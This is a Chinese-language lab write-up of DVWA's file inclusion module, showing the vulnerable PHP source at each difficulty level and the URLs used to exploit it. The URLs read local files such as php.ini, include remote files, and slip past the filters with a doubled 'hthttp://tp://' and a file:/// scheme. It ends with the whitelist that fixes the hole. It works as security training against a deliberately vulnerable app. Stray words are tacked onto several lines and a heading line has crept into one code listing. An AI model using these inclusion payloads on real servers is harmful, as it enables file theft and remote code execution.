DVWA 之 文件包含漏洞 全等級

1、漏洞概述php

File Inclusion(文件包含漏洞)是指服務端將包含的文件設置爲變量,利用URL動態調用。若沒有對包含文件進行有效的過濾,就會致使惡意文件或代碼被調用執行,形成文件包含漏洞。服務器

PHP文件包含的四個函數:函數

include():包含文件錯誤時返回一條警告,代碼繼續向下執行。經常使用於動態包含。工具

require():包含文件錯誤時產生致命錯誤,代碼中止執行。一般用於重要文件包含。測試

include_once():與include()功能相同,區別是若是文件已經被包含過則再也不包含。ui

require_once():與require()功能相同,區別是若是文件已經被包含過則再也不包含。url

2、工具spa

firefox.net

3、測試過程firefox

一、級別:low

貼上代碼:

  1 <?php
  2 
  3 // The page we wish to display
  4 $file = $_GET[ 'page' ];
  5 
  6 ?>
  7 

說明程序直接讀取page參數,使用include進行文件包含。

咱們先改變page參數,編寫一個不存在的文件:

clipboard

發現報錯,顯示沒有這個文件,同時也暴露了服務器的絕對路徑。

咱們利用絕對路徑讀取本地文件,構造url:

http://192.168.2.121/dvwa/vulnerabilities/fi/?page=F:\phpStudy\PHPTutorial\WWW\dvwa\php.ini

clipboard

成功讀取到文件內容。

能夠發現服務器的配置文件中的allow_url_fopen = on 和allow_url_include = on,說明服務器容許包含遠程服務器上的文件。

建立一個文件:

clipboard

 

啓動遠程服務器:

 

clipboard

 

構造url:http://192.168.2.121/dvwa/vulnerabilities/fi/page=http://localhost:8000/Desktop/test.php

 

clipboard

 

 

 

二、級別:Medium

貼上代碼:

  1 <?php
  2 
  3 // The page we wish to display
  4 $file = $_GET[ 'page' ];
  5 
  6 // Input validation
  7 $file = str_replace( array( "http://", "https://" ), "", $file );
  8 $file = str_replace( array( "../", "..\"" ), "", $file );
  9 
 10 ?>
 11 

能夠看出相比low級別增長了str_replace函數,對page參數中的字符串進行了處理,但並不能進行有效的阻止,本地文件包含時使用絕對路徑依然沒有任何影響;遠程文件包含時咱們可使用雙寫繞過這個替換規則,例如:hthttp://tp://,中間的http://被替換後依然保留了一個http://。

所以可構造url:

http://192.168.2.121/dvwa/vulnerabilities/fi/page=hthttp://tp://localhost:8000/Desktop/test.php

clipboard

 

 

 

三、級別:High

貼上代碼:

  1 1、漏洞概述
  2 <?php
  3 
  4 // The page we wish to display
  5 $file = $_GET[ 'page' ];
  6 
  7 // Input validation
  8 if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
  9     // This isn't the page we want!
 10     echo "ERROR: File not found!";
 11     exit;
 12 }
 13 
 14 ?>
 15 

從代碼能夠讀出High級別使用了fnmatch函數檢查page參數,只有 include.php 以及 file 開頭的文件纔會被包含。

所以,咱們依然能夠利用file協議繞過,進行本地文件包含:

http://192.168.2.121/dvwa/vulnerabilities/fi/?page=file:///F:/phpStudy/PHPTutorial/WWW/dvwa/php.ini

clipboard

可是要執行任意命令則須要配合文件上傳漏洞進行組合利用。

 

 

 

4.級別:Impossible

貼上代碼:

  1 <?php
  2 
  3 // The page we wish to display
  4 $file = $_GET[ 'page' ];
  5 
  6 // Only allow include.php or file{1..3}.php
  7 if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
  8     // This isn't the page we want!
  9     echo "ERROR: File not found!";
 10     exit;
 11 }
 12 
 13 ?>

觀察代碼,發現impossible級別的代碼採用白名單機制,page參數只能時白名單中的幾個文件名之一,杜絕了文件包含漏洞。

相關文章
相關標籤/搜索